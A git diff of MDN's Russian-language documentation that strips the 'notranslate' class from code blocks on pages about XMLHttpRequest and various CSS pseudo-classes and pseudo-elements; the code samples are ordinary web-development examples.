<code>XMLHttpRequest</code> используется, чтобы получать и загружать текст, с его помощью можно обмениваться и двоичными данными. Есть несколько проверенных способов заставить <code>XMLHttpRequest</code> посылать двоичные данные. Они используют метод <code>XMLHttpRequest</code>.overrideMimeType().</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); // получаем необработанные данные в виде двоичной строки oReq.overrideMimeType("text/plain; charset=x-user-defined"); @@ -63,7 +63,7 @@ oReq.overrideMimeType("text/plain; charset=x-user-defined"); <p>Спецификация XMLHttpRequest Level 2 добавляет новые атрибуты <a href="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute">responseType</a>, значительно облегчающие работу с двоичными данными:</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.open("GET", url, true); oReq.responseType = "arraybuffer"; @@ -82,7 +82,7 @@ oReq.send(); <p>Отслеживание событий процесса загрузки следует спецификации Web API <a href="http://dev.w3.org/2006/webapi/progress/Progress.html">progress events</a>: эти события реализуют интерфейс {{domxref("ProgressEvent")}}.</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.addEventListener("progress", updateProgress, false); oReq.addEventListener("load", transferComplete, false); @@ -123,7 +123,7 @@ function transferCanceled(evt) { <p>События <code>progress</code> есть и у входящих, и у исходящих передач. События входящих передач создаются для объекта <code>XMLHttpRequest</code>, как показано в примере выше; исходящих —для <code>XMLHttpRequest.upload:</code></p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.upload.addEventListener("progress", updateProgress, false); oReq.upload.addEventListener("load", transferComplete, false); @@ -147,7 +147,7 @@ oReq.open(); <p>Также возможно засечь все три события, завершающие загрузку (<code>abort</code>, <code>load</code>, or <code>error</code>) через событие <code>loadend</code>:</p> -<pre class="brush:js notranslate">req.addEventListener("loadend", loadEnd, false); +<pre class="brush:js">req.addEventListener("loadend", loadEnd, false); function loadEnd(e) { alert("Передача данных завершена (но мы не знаем, успешно ли)."); @@ -188,14 +188,14 @@ function loadEnd(e) { <li> <p>Метод: <code>POST</code>; тип кодирования: <code>application/x-www-form-urlencoded</code> (по умолчанию):</p> - <pre class="notranslate">Content-Type: application/x-www-form-urlencoded + <pre>Content-Type: application/x-www-form-urlencoded foo=bar&baz=The+first+line.&#37;0D%0AThe+second+line.%0D%0A</pre> </li> <li> <p>Метод: <code>POST</code>; тип кодирования: <code>text/plain</code>:</p> - <pre class="notranslate">Content-Type: text/plain + <pre>Content-Type: text/plain foo=bar baz=The first line. @@ -222,14 +222,14 @@ The second line. <p>Instead, if you are using the <code>GET</code> method, a string like the following will be simply added to the URL:</p> -<pre class="notranslate">?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.</pre> +<pre>?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.</pre> <h4 id="Небольшой_классический_фреймворк">Небольшой классический фреймворк</h4> <p>Все данные эффекты достигаются с помощью веб браузера, когда вы отправляете {{ HTMLElement("form") }}. Но если вам требуется выполнить все операции с помощью лишь JavaScript, то вам придётся проинструктировать интерпретатор обо <em>всех</em> выполняемых операциях. Для, того чтобы отправлять формы с помощью <em>чистого</em> AJAX, потребуется слишком комплексное описание, чтобы тут рассуждать о нем во всех подробностях. В связи с этим, мы опубликовали здесь <strong>полный(но все ещё дидактический) фреймворк, </strong>который всё же способен использовать все четыре способа отправки и, так же поддерживает <strong>файловую загрузку.</strong></p> <div style="height: 400px; margin-bottom: 12px; overflow: auto;"> -<pre class="brush: html notranslate"><!doctype html> +<pre class="brush: html"><!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> @@ -475,7 +475,7 @@ var AJAXSubmit = (function () { <p>Для того, чтобы произвести его тест, создайте страницу с названием <strong>register.php</strong> (и укажите атрибут <code>action</code> одной из данных форм) и добавьте данный <em>минимальный</em> контент</p> -<pre class="brush: php notranslate"><?php +<pre class="brush: php"><?php /* register.php */ header("Content-type: text/plain"); @@ -502,7 +502,7 @@ print_r($_FILES); <p>Синтаксис данного скрипта представлен ниже:</p> -<pre class="syntaxbox notranslate">AJAXSubmit(myForm);</pre> +<pre class="syntaxbox">AJAXSubmit(myForm);</pre> <div class="note"><strong>Примечание:</strong> Данный фреймворк использует <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API для передачи загрузочных файлов. Это новый API и его невозможно использовать IE9 и ниже. В связи с этим, загрузки только с использованием AJAX воспринимаются, лишь как <strong>экспериментальные</strong>. Если вам не требуется загружать бинарные файлы, то данный фреймворк работает в большинстве современных браузерах.</div> @@ -515,7 +515,7 @@ print_r($_FILES); <p>The <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> constructor lets you compile a set of key/value pairs to send using <code>XMLHttpRequest</code>. Its primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's <code>submit()</code> method would use to send the data if the form's encoding type were set to "multipart/form-data". FormData objects can be utilized in a number of ways with an XMLHttpRequest. For examples and explanations of how one can utilize FormData with XMLHttpRequests see the <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="Using FormData Objects">Using FormData Objects</a> page. For didactic purpose only we post here <strong>a <em>translation</em> of <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">the previous example</a> transformed so as to make use of the <code>FormData</code> API</strong>. Note the brevity of the code:</p> <div style="height: 400px; margin-bottom: 12px; overflow: auto;"> -<pre class="brush: html notranslate"><!doctype html> +<pre class="brush: html"><!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> @@ -636,7 +636,7 @@ function AJAXSubmit (oFormElement) { <h2 id="Получить_дату_последнего_изменения">Получить дату последнего изменения</h2> -<pre class="brush: js notranslate">function getHeaderTime () { +<pre class="brush: js">function getHeaderTime () { alert(this.getResponseHeader("Last-Modified")); /* A valid GMTString date or null */ } @@ -649,7 +649,7 @@ oReq.send();</pre> <p>Let's create these two functions:</p> -<pre class="brush: js notranslate">function getHeaderTime () { +<pre class="brush: js">function getHeaderTime () { var nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)), @@ -673,7 +673,7 @@ function ifHasChanged(sURL, fCallback) { <p>Test:</p> -<pre class="brush: js notranslate">/* Let's test the file "yourpage.html"... */ +<pre class="brush: js">/* Let's test the file "yourpage.html"... */ ifHasChanged("yourpage.html", function (nModif, nVisit) { alert("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!"); @@ -689,7 +689,7 @@ ifHasChanged("yourpage.html", function (nModif, nVisit) { <p>Для кросс-браузерного обхода кеширования в конец URL-запроса достаточно добавить случайную строку в GET-параметры, то есть сразу после «?», например:</p> -<pre class="notranslate">http://foo.com/bar.html -> http://foo.com/bar.html?12345 +<pre>http://foo.com/bar.html -> http://foo.com/bar.html?12345 http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz&12345 </pre> @@ -697,7 +697,7 @@ http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz& <p>Автоматизировать этот подход можно следующим сниппетом:</p> -<pre class="brush:js notranslate">var oReq = new XMLHttpRequest(); +<pre class="brush:js">var oReq = new XMLHttpRequest(); oReq.open("GET", url + ((/\?/).test(url) ? "&" : "?") + (new Date()).getTime(), true); oReq.send(null);</pre> @@ -718,12 +718,12 @@ oReq.send(null);</pre> <p>Instantiating <code>XMLHttpRequest</code> from a <a href="/en-US/docs/JavaScript_code_modules/Using" title="https://developer.mozilla.org/en/JavaScript_code_modules/Using_JavaScript_code_modules">JavaScript module</a> or an XPCOM component works a little differently; it can't be instantiated using the <code>XMLHttpRequest()</code> constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.</p> -<pre class="brush: js notranslate">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest"); +<pre class="brush: js">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest"); </pre> <p>Unfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason. If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.</p> -<pre class="brush:js notranslate">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"] +<pre class="brush:js">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"] .getService(Components.interfaces.nsIAppShellService) .hiddenDOMWindow; var oReq = new XMLHttpRequest();</pre> diff --git a/files/ru/web/api/xmlhttprequest/withcredentials/index.html b/files/ru/web/api/xmlhttprequest/withcredentials/index.html index 6926b01f82..02d872e437 100644 --- a/files/ru/web/api/xmlhttprequest/withcredentials/index.html +++ b/files/ru/web/api/xmlhttprequest/withcredentials/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/XMLHttpRequest/withCredentials <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var xhr = new XMLHttpRequest(); +<pre class="brush: js">var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://example.com/', true); xhr.withCredentials = true; xhr.send(null);</pre> diff --git a/files/ru/web/css/_colon_any-link/index.html b/files/ru/web/css/_colon_any-link/index.html index 2ad3e71f57..824f55af0e 100644 --- a/files/ru/web/css/_colon_any-link/index.html +++ b/files/ru/web/css/_colon_any-link/index.html @@ -18,7 +18,7 @@ translation_of: 'Web/CSS/:any-link' <p>Селектор <a href="/en-US/docs/Web/CSS/Pseudo-classes">псевдокласса</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>:any-link</code></strong> представляет собой элемент, который действует как исходный якорь гиперссылки, независимо от того, была ли она посещена. Другими словами, он соответствует всем элементам {{HTMLElement("a")}}, {{HTMLElement("area")}}, или {{HTMLElement("link")}}, которые имеют атрибут <code>href</code>. Таким образом, он соответствует всем элементам, которые используют {{cssxref(":link")}} или {{cssxref(":visited")}}.</p> -<pre class="brush: css no-line-numbers language-css notranslate"><code class="language-css"><span class="selector token"><span class="pseudo-class token">/* Выбирает любой элемент, который будет соответствовать:link или :visited */ +<pre class="brush: css no-line-numbers language-css"><code class="language-css"><span class="selector token"><span class="pseudo-class token">/* Выбирает любой элемент, который будет соответствовать:link или :visited */ :any-link</span> </span><span class="punctuation token">{</span> <span class="property token">color</span><span class="punctuation token">:</span> green<span class="punctuation token">;</span> <span class="punctuation token">}</span></code></pre> @@ -31,13 +31,13 @@ translation_of: 'Web/CSS/:any-link' <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><a href="https://example.com">External link</a><br> +<pre class="brush: html"><a href="https://example.com">External link</a><br> <a href="#">Internal target link</a><br> <a>Placeholder link (won't get styled)</a></pre> <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">a:any-link { +<pre class="brush: css">a:any-link { border: 1px solid blue; color: orange; } diff --git a/files/ru/web/css/_colon_empty/index.html b/files/ru/web/css/_colon_empty/index.html index b922f9a29c..de1b0fc481 100644 --- a/files/ru/web/css/_colon_empty/index.html +++ b/files/ru/web/css/_colon_empty/index.html @@ -18,12 +18,12 @@ translation_of: 'Web/CSS/:empty' <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><element>:empty { <em>/* стили</em> */ } +<pre class="syntaxbox"><element>:empty { <em>/* стили</em> */ } </pre> <h2 id="Examples">Примеры</h2> -<pre class="brush: css notranslate">.box { +<pre class="brush: css">.box { background: red; height: 200px; width: 200px; @@ -34,7 +34,7 @@ translation_of: 'Web/CSS/:empty' } </pre> -<pre class="brush: html notranslate"><div class="box"><!-- Я буду лаймовым --></div> +<pre class="brush: html"><div class="box"><!-- Я буду лаймовым --></div> <div class="box">Я буду красным</div> <div class="box"> <!-- Я буду красным, так как перед комментарием стоят пробелы --> diff --git a/files/ru/web/css/_colon_first/index.html b/files/ru/web/css/_colon_first/index.html index 82f0a46dbc..5f83d32cd6 100644 --- a/files/ru/web/css/_colon_first/index.html +++ b/files/ru/web/css/_colon_first/index.html @@ -12,7 +12,7 @@ translation_of: 'Web/CSS/:first' <p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/%D0%9F%D1%81%D0%B5%D0%B2%D0%B4%D0%BE-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D1%8B">псевдокласс</a> <strong><code>:first</code></strong> используется с @-правилом {{cssxref("@page")}}, представляя первую страницу документа при печати.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает первую страницу при печати */ +<pre class="brush: css no-line-numbers">/* Выбирает первую страницу при печати */ @page :first { margin-left: 50%; margin-top: 50%; @@ -30,14 +30,14 @@ translation_of: 'Web/CSS/:first' <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><p>Первая страница.</p> +<pre class="brush: html"><p>Первая страница.</p> <p>Вторая страница.</p> <button>Напечатать</button> </pre> <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">@page :first { +<pre class="brush: css">@page :first { margin-left: 50%; margin-top: 50%; } @@ -49,7 +49,7 @@ p { <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">document.querySelector("button").onclick = function () { +<pre class="brush: js">document.querySelector("button").onclick = function () { window.print(); } </pre> diff --git a/files/ru/web/css/_colon_focus-visible/index.html b/files/ru/web/css/_colon_focus-visible/index.html index 0947a99d1e..6a60885ae1 100644 --- a/files/ru/web/css/_colon_focus-visible/index.html +++ b/files/ru/web/css/_colon_focus-visible/index.html @@ -19,14 +19,14 @@ translation_of: 'Web/CSS/:focus-visible' <p>В этом примере селектор <code>:focus-visible</code> использует поведение UA, чтобы определить, когда соответствовать. Сравните, что происходит, когда вы щёлкаете мышью по разным элементам управления, и что происходит при переходе по ним с помощью клавиатуры. Обратите внимание на разницу в поведении элементов, оформленных с помощью <code>:focus</code>.</p> -<pre class="brush: html notranslate"><input value="Default styles"><br> +<pre class="brush: html"><input value="Default styles"><br> <button>Default styles</button><br> <input class="focus-only" value=":focus only"><br> <button class="focus-only">:focus only</button><br> <input class="focus-visible-only" value=":focus-visible only"><br> <button class="focus-visible-only">:focus-visible only</button></pre> -<pre class="brush: css highlight[9] notranslate">input, button { +<pre class="brush: css highlight[9]">input, button { margin: 10px; } @@ -45,9 +45,9 @@ translation_of: 'Web/CSS/:focus-visible' <p>Пользовательский элемент управления, такой как кнопка <a href="/en-US/docs/User:Andreas_Wuest/Custom_Elements">настраиваемого элемента</a>, может использовать: focus-visible для выборочного применения индикатора фокуса только к фокусу клавиатуры. Это соответствует собственному поведению фокуса для таких элементов управления, как {{htmlelement ("button")}}.</p> -<pre class="brush: html notranslate"><custom-button tabindex="0" role="button">Click Me</custom-button></pre> +<pre class="brush: html"><custom-button tabindex="0" role="button">Click Me</custom-button></pre> -<pre class="brush: css highlight[13, 19] notranslate">custom-button { +<pre class="brush: css highlight[13, 19]">custom-button { display: inline-block; margin: 10px; } diff --git a/files/ru/web/css/_colon_focus-within/index.html b/files/ru/web/css/_colon_focus-within/index.html index 1a8c179fab..a60adff99c 100644 --- a/files/ru/web/css/_colon_focus-within/index.html +++ b/files/ru/web/css/_colon_focus-within/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/:focus-within' <p><a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes">Псевдо-класс</a> <strong><code>:focus-within</code></strong> соответствует элементу, который либо сам находится в фокусе, либо содержит элемент, который находится в фокусе. Другими словами, он представляет элементу, который соответствует псевдоклассу {{CSSxRef(":focus")}} либо имеет потомка, который соответствует <code>:focus</code>. (Включая потомков в <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow trees</a>.)</p> -<pre class="brush: css no-line-numbers notranslate">/* Выделяет <div> когда один из его потомков находится в фокусе */ +<pre class="brush: css no-line-numbers">/* Выделяет <div> когда один из его потомков находится в фокусе */ div:focus-within { background: cyan; }</pre> @@ -24,7 +24,7 @@ div:focus-within { <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><p>Try typing into this form.</p> +<pre class="brush: html"><p>Try typing into this form.</p> <form> <label for="given_name">Given Name:</label> @@ -36,7 +36,7 @@ div:focus-within { <h3 id="CSS">CSS</h3> -<pre class="brush: css highlight[7] notranslate">form { +<pre class="brush: css highlight[7]">form { border: 1px solid; color: gray; padding: 4px; diff --git a/files/ru/web/css/_colon_host()/index.html b/files/ru/web/css/_colon_host()/index.html index 19830a0c9c..b285765913 100644 --- a/files/ru/web/css/_colon_host()/index.html +++ b/files/ru/web/css/_colon_host()/index.html @@ -15,7 +15,7 @@ translation_of: 'Web/CSS/:host()' <p><strong>Примечание</strong>: Псевдокласс не имеет эффекта вне shadow DOM.</p> </div> -<pre class="brush: css; no-line-numbers notranslate">/* Выбирает хоста shadow root, только +<pre class="brush: css; no-line-numbers">/* Выбирает хоста shadow root, только если он соответствует аргументу селектора */ :host(.special-custom-element) { font-weight: bold; @@ -34,11 +34,11 @@ translation_of: 'Web/CSS/:host()' <p>В этом примере у нас есть простой пользовательский элемент — <code><context-span></code> — который мы оборачиваем вокруг текста:</p> -<pre class="brush: html; notranslate"><h1>Host selectors <a href="#"><context-span>example</context-span></a></h1></pre> +<pre class="brush: html;"><h1>Host selectors <a href="#"><context-span>example</context-span></a></h1></pre> <p>Внутри конструктора элемента мы создаём элементы <code>style</code> и <code>span</code>, заполняем <code>span</code> контентом пользовательского элемента и заполняем элемент <code>style</code> CSS-правилами:</p> -<pre class="brush: js; notranslate">let style = document.createElement('style'); +<pre class="brush: js;">let style = document.createElement('style'); let span = document.createElement('span'); span.textContent = this.textContent; diff --git a/files/ru/web/css/_colon_is/index.html b/files/ru/web/css/_colon_is/index.html index e77d87f70c..e74aaf3846 100644 --- a/files/ru/web/css/_colon_is/index.html +++ b/files/ru/web/css/_colon_is/index.html @@ -13,7 +13,7 @@ translation_of: 'Web/CSS/:is' <p>Заметьте, что в данный момент браузеры поддерживают её функциональность как <code>:matches()</code>, или даже как более старый, префиксный псевдокласс — <code>:any()</code>, включая старые версии Chrome, Firefox, и Safari. <code>:any()</code> работает точно таким же образом как и <code>:matches()</code>/<code>:is()</code>, за исключением того, что <code>:any()</code> требует постановку префиксов и не поддерживает <a href="/ru/docs/Learn/CSS/Building_blocks/Селекторы">комплексные селекторы</a>.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */ +<pre class="brush: css no-line-numbers">/* Выбирает какой-либо абзац в шапке, основной части или подвале, который зависал */ :is(header, main, footer) p:hover { color: red; cursor: pointer; @@ -52,7 +52,7 @@ footer p:hover { <h3 id="Кроссбраузерный_пример">Кроссбраузерный пример</h3> -<pre class="brush: html notranslate"><header> +<pre class="brush: html"><header> <p>Это мой параграф в шапке</p> </header> @@ -67,7 +67,7 @@ footer p:hover { <p>Это мой параграф в подвале</p> </footer></pre> -<pre class="brush: css notranslate">:-webkit-any(header, main, footer) p:hover { +<pre class="brush: css">:-webkit-any(header, main, footer) p:hover { color: red; cursor: pointer; } @@ -88,7 +88,7 @@ footer p:hover { } </pre> -<pre class="brush: js notranslate">let matchedItems; +<pre class="brush: js">let matchedItems; try { matchedItems = document.querySelectorAll(':is(header, main, footer) p'); @@ -122,7 +122,7 @@ function applyHandler(elem) { <p>Псевдо-класс <code>:is()</code> может великолепно упрощать ваши CSS селекторы. К примеру, следующий CSS:</p> -<pre class="brush: css notranslate">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */ +<pre class="brush: css">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */ ol ol ul, ol ul ul, ol menu ul, ol dir ul, ol ol menu, ol ul menu, ol menu menu, ol dir menu, ol ol dir, ol ul dir, ol menu dir, ol dir dir, @@ -141,7 +141,7 @@ dir ol dir, dir ul dir, dir menu dir, dir dir dir { <p>... можно заменить на:</p> -<pre class="brush: css notranslate">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */ +<pre class="brush: css">/* 3-уровневые (или более) неупорядоченные списки используют свойство square */ :is(ol, ul, menu, dir) :is(ol, ul, menu, dir) ul, :is(ol, ul, menu, dir) :is(ol, ul, menu, dir) menu, :is(ol, ul, menu, dir) :is(ol, ul, menu, dir) dir { @@ -154,7 +154,7 @@ dir ol dir, dir ul dir, dir menu dir, dir dir dir { <p>К примеру, без <code>:is()</code>, стилизовать все {{HTMLElement("h1")}} элементы на разных уровнях может бы очень сложно:</p> -<pre class="brush: css notranslate">/* Уровень 0 */ +<pre class="brush: css">/* Уровень 0 */ h1 { font-size: 30px; } @@ -175,7 +175,7 @@ nav section h1, nav article h1, nav aside h1, nav nav h1 { <p>Используя <code>:is()</code>, как видно, это гораздо легче:</p> -<pre class="brush: css notranslate">/* Уровень 0 */ +<pre class="brush: css">/* Уровень 0 */ h1 { font-size: 30px; } @@ -199,13 +199,13 @@ h1 { <p>В отличие от <a href="/ru/docs/Web/CSS/Selector_list">списка селекторов</a>, псевдокласс <code>:is()</code> не аннулируется, когда из селекторов, попавший туда не поддерживается браузером.</p> -<pre class="brush: css notranslate">:is(:valid, :unsupported) { +<pre class="brush: css">:is(:valid, :unsupported) { ... }</pre> <p>Будет по прежнему определяться правильно и соответствовать <code>:valid</code> даже в браузерах, которые не поддерживают <code>:unsupported</code>, в то время как:</p> -<pre class="brush: css notranslate">:valid, :unsupported { +<pre class="brush: css">:valid, :unsupported { ... }</pre> diff --git a/files/ru/web/css/_colon_left/index.html b/files/ru/web/css/_colon_left/index.html index c435be2554..2cfcabf12b 100644 --- a/files/ru/web/css/_colon_left/index.html +++ b/files/ru/web/css/_colon_left/index.html @@ -10,7 +10,7 @@ translation_of: 'Web/CSS/:left' <p><a href="/en-US/docs/Web/CSS/Pseudo-classes">Псевдокласс</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>:left</code></strong> используется с <a href="/en-US/docs/Web/CSS/At-rule">at-правилом</a> {{cssxref("@page")}}, предоставляет все левые страницы печатного документа.</p> -<pre class="brush: css no-line-numbers notranslate">/* Выбирает все левые страницы при печати */ +<pre class="brush: css no-line-numbers">/* Выбирает все левые страницы при печати */ @page :left { margin: 2in 3in; }</pre> @@ -29,7 +29,7 @@ translation_of: 'Web/CSS/:left' <h3 id="Выставляем_отступы_для_левых_страниц">Выставляем отступы для левых страниц</h3> -<pre class="brush: css notranslate">@page :left { +<pre class="brush: css">@page :left { margin: 2in 3in; } </pre> diff --git a/files/ru/web/css/_colon_where/index.html b/files/ru/web/css/_colon_where/index.html index 631182a560..e47bedbdad 100644 --- a/files/ru/web/css/_colon_where/index.html +++ b/files/ru/web/css/_colon_where/index.html @@ -13,7 +13,7 @@ translation_of: 'Web/CSS/:where' <div></div> -<pre class="brush: css notranslate"><code>/* Выбирает любой параграф внутри header, main +<pre class="brush: css"><code>/* Выбирает любой параграф внутри header, main или footer на который наведён курсор мыши */ :where(header, main, footer) p:hover { color: red; @@ -36,13 +36,13 @@ footer p:hover { <p>При использовании списка селекторов в CSS, если один из селекторов невалидный, то весь список селекторов будет считаться невалидным. В то же время при использовании <code>:is()</code> или <code>:where()</code> действует другое правило: если среди переданных аргументов будет некорректный или неподдерживаемый селектор, то он будет проигнорирован, для всех же остальных селекторов будут применены CSS-правила.</p> -<pre class="brush: css notranslate">:where(:valid, :unsupported) { +<pre class="brush: css">:where(:valid, :unsupported) { ... }</pre> <p>Пример выше будет успешно распарсен и для <code>:valid</code> будут применены CSS-правила, даже если в браузере не поддерживается <code>:unsupported</code>, в то время как:</p> -<pre class="brush: css notranslate">:valid, :unsupported { +<pre class="brush: css">:valid, :unsupported { ... }</pre> @@ -56,7 +56,7 @@ footer p:hover { <p>Возьмём следующий HTML-код:</p> -<pre class="brush: html notranslate"><article> +<pre class="brush: html"><article> <h2>:is()-styled links</h2> <section class="is-styling"> <p>Here is my main content. This <a href="https://mozilla.org">contains a link</a>. @@ -90,7 +90,7 @@ footer p:hover { <p>Теперь при помощи псевдоклассов <code>:is()</code> и <code>:where()</code> зададим цвет для ссылок в простой форме, как в примере ниже:</p> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; font-size: 150%; } @@ -105,7 +105,7 @@ footer p:hover { <p>Что если позже мы захотим переопределить цвет ссылок в <code>footer</code>'ах используя простой селектор?</p> -<pre class="brush: css notranslate">footer a { +<pre class="brush: css">footer a { color: blue; }</pre> diff --git a/files/ru/web/css/_doublecolon_cue/index.html b/files/ru/web/css/_doublecolon_cue/index.html index 4ff78d9a48..fb8fd111a9 100644 --- a/files/ru/web/css/_doublecolon_cue/index.html +++ b/files/ru/web/css/_doublecolon_cue/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/::cue' <p><span class="seoSummary"><a href="/ru/docs/Web/CSS/Pseudo-elements">Псевдоэлемент</a> <a href="/ru/docs/Web/CSS">CSS</a> <strong><code>::cue</code></strong> соответствует репликам <a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a> в выбранном элементе. Он может быть использован для задания <a href="/docs/Web/API/WebVTT_API#Styling_WebTT_cues">стилей титров и других реплик</a> в медиа с VTT треками.</span></p> -<pre class="brush: css no-line-numbers notranslate">::cue { +<pre class="brush: css no-line-numbers">::cue { color: yellow; font-weight: bold; }</pre> @@ -41,7 +41,7 @@ translation_of: 'Web/CSS/::cue' <p>Следующий CSS устанавливает стили для реплик в виде белого цвета текста и полупрозрачного чёрного фона.</p> -<pre class="brush: css notranslate">::cue { +<pre class="brush: css">::cue { color: #fff; background-color: rgba(0, 0, 0, 0.6); }</pre> diff --git a/files/ru/web/css/_doublecolon_grammar-error/index.html b/files/ru/web/css/_doublecolon_grammar-error/index.html index c64a28eb84..2a7a57109b 100644 --- a/files/ru/web/css/_doublecolon_grammar-error/index.html +++ b/files/ru/web/css/_doublecolon_grammar-error/index.html @@ -29,7 +29,7 @@ translation_of: 'Web/CSS/::grammar-error' <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">::grammar-error</pre> +<pre class="syntaxbox">::grammar-error</pre> <h2 id="Примеры">Примеры</h2> @@ -39,11 +39,11 @@ translation_of: 'Web/CSS/::grammar-error' <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><p>My friends is coming to the party tonight.</p></pre> +<pre class="brush: html"><p>My friends is coming to the party tonight.</p></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">::grammar-error { +<pre class="brush: css">::grammar-error { text-decoration: underline red; color: red; }</pre> diff --git a/files/ru/web/css/_doublecolon_marker/index.html b/files/ru/web/css/_doublecolon_marker/index.html index 37caf3ec01..767ad0a2d7 100644 --- a/files/ru/web/css/_doublecolon_marker/index.html +++ b/files/ru/web/css/_doublecolon_marker/index.html @@ -7,7 +7,7 @@ translation_of: 'Web/CSS/::marker' <p><span class="seoSummary">Псевдоэлемент <strong><code>::marker</code></strong> применяет стили к маркеру элемента списка, которые обычно содержит значок или номер.</span> Работает с любым элементом или псевдоэлементом, к которого установлен <code><a href="/en-US/docs/Web/CSS/display">display: list-item</a></code>, например, у такого как {{HTMLElement("li")}} или {{HTMLElement("summary")}}.</p> -<pre class="brush: css no-line-numbers notranslate">::marker { +<pre class="brush: css no-line-numbers">::marker { color: blue; font-size: 1.2em; }</pre> @@ -37,7 +37,7 @@ translation_of: 'Web/CSS/::marker' <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><ul> +<pre class="brush: html"><ul> <li>Peaches</li> <li>Apples</li> <li>Plums</li> @@ -45,7 +45,7 @@ translation_of: 'Web/CSS/::marker' <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">ul li::marker { +<pre class="brush: css">ul li::marker { color: red; font-size: 1.5em; }</pre> diff --git a/files/ru/web/css/_doublecolon_placeholder/index.html b/files/ru/web/css/_doublecolon_placeholder/index.html index ce536f7fe0..8fde2fd945 100644 --- a/files/ru/web/css/_doublecolon_placeholder/index.html +++ b/files/ru/web/css/_doublecolon_placeholder/index.html @@ -11,7 +11,7 @@ translation_of: 'Web/CSS/::placeholder' <p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлемент</a> <strong><code>::placeholder</code></strong> представляет собой <a href="/ru/docs/Web/HTML/Forms_in_HTML#The_placeholder_attribute">текст placeholder</a> в {{HTMLElement("input")}} или {{HTMLElement("textarea")}} элементах.</p> -<pre class="brush: css no-line-numbers notranslate">::placeholder { +<pre class="brush: css no-line-numbers">::placeholder { color: blue; font-size: 1.5em; }</pre> @@ -32,11 +32,11 @@ translation_of: 'Web/CSS/::placeholder' <h4 id="HTML">HTML</h4> -<pre class="brush:html line-numbers language-html notranslate"><input placeholder="Введите что-нибудь!"></pre> +<pre class="brush:html line-numbers language-html"><input placeholder="Введите что-нибудь!"></pre> <h4 id="CSS">CSS</h4> -<pre class="brush: css notranslate">input::placeholder { +<pre class="brush: css">input::placeholder { color: red; font-size: 1.2em; font-style: italic; @@ -50,11 +50,11 @@ translation_of: 'Web/CSS/::placeholder' <h4 id="HTML_2">HTML</h4> -<pre class="brush:html line-numbers language-html notranslate"><input placeholder="Введите что-нибудь..."></pre> +<pre class="brush:html line-numbers language-html"><input placeholder="Введите что-нибудь..."></pre> <h4 id="CSS_2">CSS</h4> -<pre class="brush: css notranslate">input::placeholder { +<pre class="brush: css">input::placeholder { color: green; } </pre> @@ -89,7 +89,7 @@ 